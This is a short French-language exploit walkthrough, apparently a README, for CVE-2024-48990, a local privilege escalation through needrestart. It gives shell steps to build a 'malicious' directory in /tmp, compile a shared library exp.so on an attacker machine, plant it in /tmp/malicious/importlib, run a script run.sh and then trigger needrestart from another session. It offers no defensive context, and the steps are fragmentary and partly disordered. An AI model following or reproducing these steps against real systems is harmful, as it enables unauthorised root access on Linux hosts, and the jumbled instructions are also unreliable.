CVE-2024-48990

bonjour, c'est 0x3bs

Sur la machine victime :

set -e
cd /tmp

# 1. Create the malicious module directory structure
mkdir -p malicious/importlib

sur la machine attaquante

pour compiler lib.c sur la machine attaquante :

gcc -shared -fPIC -o exp.so lib.c 

et sur la machine victime :

dans /tmp

chmod +x run.sh

dans /tmp/malicious/importlib :

chmod +x exp.so

./exp.so

# try to run it after run 'run.sh' if it didn't work

et dans /tmp

./run.sh

et dans une autre session, exécutez needrestart

rappelez-vous >> le fichier exp.so doit se trouver dans /tmp/malicious/importlib